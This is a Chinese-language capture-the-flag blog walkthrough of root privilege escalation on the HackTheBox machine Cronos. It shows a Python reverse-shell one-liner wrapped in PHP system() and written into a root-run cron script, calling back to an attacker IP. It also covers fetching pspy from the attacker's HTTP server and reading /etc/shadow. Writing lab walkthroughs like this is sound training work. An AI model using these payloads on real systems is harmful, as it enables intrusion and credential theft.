Day 21 我們成功拿到了 Cronos 的 Reverse Shell——
Connection received on 10.129.227.211 48046
$
但我們拿到的是 www-data,不是 root!
那要怎麼從 www-data 到 root 呢?
提權不是猜謎,是有系統地找機會!那我們馬上來一起找提權機會吧
10.129.227.211
記得先把我們前天列舉出的這台目標機器的子網域加進 /etc/hosts
,才能用瀏覽器進 admin.cronos.htb 彈Reverse Shell,接著做目標機器 Cronos 的偵查與操作!
echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" | sudo tee -a /etc/hosts;cat /etc/hosts | grep cronos
echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" :把這串文字輸出出來——「IP + 所有子網域」放在同一行,告訴電腦「這些名字都對應這個 IP」。
| sudo tee -a /etc/hosts
|:把剛才 echo 的文字送給下一個指令處理sudo:用 root 權限執行(/etc/hosts 是系統檔案,一般使用者不能改)tee:一邊顯示在螢幕上(讓我們確認加了什麼),一邊寫進檔案-a:append,附加到檔案最後面,不是覆蓋整個檔案然後確認有沒有成功加進去:
cat /etc/hosts | grep cronos
cat /etc/hosts:把 /etc/hosts 的內容全部印出來| grep cronos:只顯示包含「cronos」的那幾行
確認加進去了
我們昨天已經成功拿到目標機器Cronos的Reverse Shell,今天會繼續往後實作!
拿到 Reverse Shell 之後,第一件事不是急著找提權機會,而是先把 Shell 升級!
為什麼呢?
我們剛拿到的 $ shell 很陽春——
做什麼都很不方便。
我們要把它升級成「TTY shell」——有完整終端機功能的 shell,才能像我們平常在終端機操作一樣方便!
Step 1:在目標機器上跑 Python,開啟 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 2:暫停 shell,設定終端機大小
按 Ctrl+Z 暫停 shell,回到 Kali 終端機:
stty raw -echo; fg
stty raw:把終端機設定成原始模式,讓按鍵直接傳到 shell-echo:不要回顯輸入的字元fg:把暫停的 shell 拉回前景
Step 3:設定終端機環境變數
export TERM=xterm

現在我們的 Reverse Shell 好用很多了—可以用上下鍵、Tab 補全,也比較不怕 Ctrl+C shell直接掰掰哩 xdd
還記得 Day 7 整理的「拿到 Shell 後的 SOP」嗎?今天就照這個順序走!(但裡面有偷偷增加了新步驟,跟大家一起練習新招數!)

whoami
whoami 確認目前的使用者名稱
確認我們是 www-data
id
id 比 whoami 多顯示一件事:所屬群組

確認我們是 www-data 屬於 www-data 群組,我們現在拿到的是web server 的服務帳號,不是 root,也沒有特殊權限QQ
pwd →我在哪
ls →現在的目錄裡面有什麼

確認現在的位置,順便看看目錄裡有什麼——說不定有有趣的東西 xdd
還記得 Day 10 在 Bashed 的時候,www-data 的 sudo -l 直接告訴我們可以切換到 scriptmanager——今天會不會這麼幸運?
sudo -l

可惡!出現要求密碼 QQ
sudo -l 有三種可能的結果:
uname -a → Kernel 線索
cat /etc/os-release → OS 線索
hostname → 主機身分

這裡用一個新方法!掃一遍系統上任何人都可以寫入的檔案:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
-path /proc -prune:跳過 /proc(系統資訊,不是我們要的)-type f:只找檔案-perm -o+w:任何人都可以寫入(world-writable)2>/dev/null:把錯誤訊息丟掉結果~~~
/sys/fs/cgroup/memory/init.scope/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2duuid\x2dLVM\x2dugG31L7SgY5Eq7gNrbTJm4cB1GDM01JlrG31I4305630g1F9wbsXioYxpf3XSPmJ.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/mdadm.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/boot.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dbus.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ifup@ens160.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/var-lib-lxcfs.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/cron.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2duuid-8562ccf5\x2d6b15\x2d4c8c\x2d965a\x2dfaf52bf455a6.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lvm2-lvmetad.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/rc-local.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lxd-containers.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2dname\x2dcronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apport.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-modules-load.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apache2.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/iscsid.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-cronos\x2dvg-swap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/-.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/open-iscsi.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/networking.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-mapper-cronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/accounts-daemon.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/resolvconf.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/atd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-user-sessions.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-journald.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/sys-fs-fuse-connections.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-tmpfiles-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/grub-common.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-sysctl.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/snapd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ondemand.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lvm2-monitor.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-mqueue.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-tmpfiles-setup-dev.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-timesyncd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ssh.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-logind.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-journal-flush.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/bind9.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-random-seed.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/system-getty.slice/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-dm\x2d1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/keyboard-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-udevd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/polkitd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/mysql.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/kmod-static-nodes.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/irqbalance.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/open-vm-tools.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apparmor.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-udev-trigger.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/console-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/rsyslog.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-remount-fs.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/sys-kernel-debug.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-update-utmp.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lxcfs.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/acpid.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/setvtrgb.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/system-systemd\x2dfsck.slice/cgroup.event_control
/sys/fs/cgroup/memory/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/cgroup.event_control
/sys/kernel/security/apparmor/policy/.remove
/sys/kernel/security/apparmor/policy/.replace
/sys/kernel/security/apparmor/policy/.load
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.ns_name
/sys/kernel/security/apparmor/.ns_level
/sys/kernel/security/apparmor/.ns_stacked
/sys/kernel/security/apparmor/.stacked
/sys/kernel/security/apparmor/.access
/proc
/var/lib/lxcfs/cgroup/memory/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/init.scope/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2duuid\x2dLVM\x2dugG31L7SgY5Eq7gNrbTJm4cB1GDM01JlrG31I4305630g1F9wbsXioYxpf3XSPmJ.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/mdadm.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/boot.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dbus.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ifup@ens160.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/var-lib-lxcfs.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/cron.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2duuid-8562ccf5\x2d6b15\x2d4c8c\x2d965a\x2dfaf52bf455a6.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lvm2-lvmetad.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/rc-local.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lxd-containers.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2dname\x2dcronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apport.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-modules-load.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apache2.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/iscsid.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-cronos\x2dvg-swap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/-.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/open-iscsi.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/networking.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-mapper-cronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/accounts-daemon.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/resolvconf.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/atd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-user-sessions.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-journald.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/sys-fs-fuse-connections.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-tmpfiles-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/grub-common.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-sysctl.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/snapd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ondemand.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lvm2-monitor.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-mqueue.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-tmpfiles-setup-dev.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-timesyncd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ssh.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-logind.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-journal-flush.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/bind9.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-random-seed.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/system-getty.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-dm\x2d1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/keyboard-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-udevd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/polkitd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/mysql.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/kmod-static-nodes.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/irqbalance.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/open-vm-tools.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apparmor.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-udev-trigger.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/console-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/rsyslog.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-remount-fs.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/sys-kernel-debug.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-update-utmp.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lxcfs.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/acpid.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/setvtrgb.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/system-systemd\x2dfsck.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/user.slice/cgroup.event_control
看到這麼多,第一反應是——哇,這麼多可以利用的?! 🤩
不對,先冷靜下來提權的關鍵不只是「能寫入」,還要:
root 會去執行它
如果某個被 root 執行的腳本,我們也可以寫入——那我想做什麼,root都可以幫我實現耶(我要叫他把權限交給我!我也要當root)
方法 1:直接看 crontab
cat /etc/crontab

咦!/var/www/laravel/artisan——好眼熟!
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
root 每分鐘都在跑他!
Day 20 偵查這台機器的時候,robots.txt 也看過 laravel 。laravel 是 PHP 後端框架!
我們現在的身份是 www-data— web server 的服務帳號,那我們應該有機會有權力修改 /var/www/laravel相關路徑呀~上一步怎麼沒看到!!
啊上一步~找的是非owner、非owner group的其他使用者也可以修改的檔案!雖然其他使用者不行修改,但/var/www/ 是整個網站的根目錄,應該是我在管的,我是owner應該是有機會修改他!修改這個root會排程跑的檔案(耶!!!
那如果我們沒有 crontab 讀取權限,或是排程藏在別的地方怎麼辦呢
方法 2: pspy 監控——這時候 pspy 就派上用場了!
pspy 不需要 root 就能監控 process,直接掃 procfs,可以看到其他使用者跑的指令、cron job 觸發的時機:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -O /tmp/pspy64

靶機沒有對外網路連線QQ不能直接 wget 下載 pspy~
那我們怎麼讓pspy到靶機呢
Kali(攻擊機) 上:下載 pspy64,開 HTTP Server
下載 pspy64
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

在 pspy64 所在目錄開 HTTP Server
python3 -m http.server 8080

靶機上:
在靶機的 shell 下載pspy64:
cd /tmp
wget http://10.10.15.205:8080/pspy64

幫自己加pspy64的執行權限
chmod +x pspy64.1
+x:下載回來的檔案預設沒有執行權限,chmod +x 就是「幫自己加執行權限」,加完才能跑 ./pspy64
執行 pspy,開始監控
./pspy64.1 -pf -i 1000
./ 為相對目錄-pf:同時監控 process 跟檔案系統事件-i 1000:每 1000ms 掃描一次


等一下下,root 定時執行的指令就會跑出來!
今天用兩個方法都確認了:root 每分鐘都在執行 /var/www/laravel/artisan 腳本!
| 方法 | 適用情況 |
|---|---|
cat /etc/crontab |
快速,有讀取權限就能看 |
| pspy | 有讀取限制時、或排程不在 crontab 裡時 |
找到 Cron Job 之後,要確認兩件事:
root 定時執行的「腳本」而且我們可以改內容-才是能協助我們完成提權的腳本!
ls -al /var/www/laravel/artisan

| 欄位 | 值 | 說明 |
|---|---|---|
-rwxr-xr-x |
檔案權限 | |
www-data |
擁有者(owner) | 這個檔案屬於 www-data! |
www-data |
所屬群組 | 群組也是 www-data |
Apr 9 2017 |
最後修改時間 |
- rwx r-x r-x
│ │││ │││ │││
│ │││ │││ └── other(其他人):r-x = 可讀可執行,不可寫入
│ │││ └────── group(群組成員):r-x = 可讀可執行,不可寫入
│ └────────── owner(擁有者):rwx = 可讀可寫可執行
└──────────── 這是一個普通檔案(d 是目錄)
www-data
www-data!哇!這個檔案的擁有者就是我們!而且我們有寫入權限耶(root執行的檔案,我們可以修改,那我要叫他把他的權限交給我xddd
cat /var/www/laravel/artisan



這是一個 Laravel PHP 框架的腳本~
確認可以寫入腳本之後——照 Day 10 的方法,把 Reverse Shell 寫進 Cron Job 執行的腳本,讓 root 幫我們執行!
nc -lvnp 5555
用 5555 這個 port,跟之前的 4444 區分開來。

echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.205\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'" > /var/www/laravel/artisan
> : 把我們的內容寫進 artisan,會覆蓋原本內容
* * * * * = 每分鐘執行一次
寫進去了,等了一分鐘……
沒有任何反應。QQ
為什麼?
其實用 Python 做 Reverse Shell 是完全沒問題的——機器上有 Python,PHP 也可以透過 system() 呼叫 Python 指令。
問題不在「Python 不能用」,而在格式。
回頭看 Cron Job 執行的指令:
php /var/www/laravel/artisan schedule:run
↑
php 去讀這個檔案,當作 PHP 程式碼執行
PHP 在讀檔案的時候:檔案裡如果沒有 <?php ?> 標記,PHP 不會把那些內容當程式碼執行,而是直接當純文字輸出、忽略掉。
我們剛剛直接 echo 一段 Python 指令進去——PHP 打開 artisan,看到一堆 import socket...,沒有 <?php,直接跳過,什麼都沒執行><
Python 指令本身沒錯,只是少了告訴 PHP「這段是要執行的程式碼」的標記。
echo '<?php system("python -c '"'"'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.205\",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"sh\")'"'"'"); ?>' > /var/www/laravel/artisan
這次用 <?php system("..."); ?> 把 Python 指令包起來。
<?php ... ?> 是 PHP 的程式碼標記,php 看到這個才知system("...") 是 PHP 的系統呼叫函式——叫 PHP 去執行雙引號裡面的指令
最多等 1 分鐘......

下
whoami

我是root了耶!!! 提權成功!!!🎉
拿到 root 之後,還有一個很值得做的動作——讀 /etc/shadow!

這個檔案平常只有 root 讀得到,裡面存的是每個帳號的密碼雜湊(不是明文密碼喔~要還原還得靠離線爆破
今天我們先不爆破,單純確認「拿到 root 之後確實讀得到這個檔案」就好,爆破的部分之後有機會再來玩 xddd
find / -name "root.txt" 2>/dev/null
find / -name "root.txt":在整個系統搜尋名為 root.txt 的檔案
cat /root/root.txt

成功拿到 root 的flag哩!
今天跟 Day 10 的感覺很像,但細節不太一樣——
Day 10 是從 test.txt 在極短時間內一直更新,
雖然我們當時沒有直接看到 cron job,但靠觀察推論出背後可能有排程在執行,再進一步去確認!
今天則是直接在 /etc/crontab 找到了 cron job
(Day 10 在 crontab 裡沒看到 QQ 超怪,但還好我們最後還是靠觀察找到了!
雖然找到線索的方式不一樣,但後面的思路其實是一樣的:
找到 root 定時執行的腳本
→ 確認我們可以修改它
→ 把 Reverse Shell 寫進去
→ 等 root 幫我們執行
→ 拿到 root shell
不需要知道 root 的密碼,只要能控制 root 會定時執行的腳本,就有機會讓 root 幫我們執行我們放進去的指令,最後拿到 root 權限 ><
以前在 EDR 看告警,看到奇怪的排程時,同事都特別緊張 ><
那時候還不太懂為什麼——現在好像開始理解了 xdd
整條攻擊鏈:
DNS Zone Transfer(Day 20)
→ 找到 admin.cronos.htb(Day 20)
→ SQL Injection 繞過登入(Day 21)
→ Command Injection → Reverse Shell(Day 21)
→ /etc/crontab 找到 root Cron Job(Day 22)
→ 修改腳本 → Reverse Shell → root(Day 22)
→ 提權成功!🎉
拿到 root 了~~~耶!!!
前面一路挖到現在,終於把整條路串起來了 xddd
明天我們來寫報告 ><那我們就明天見囉~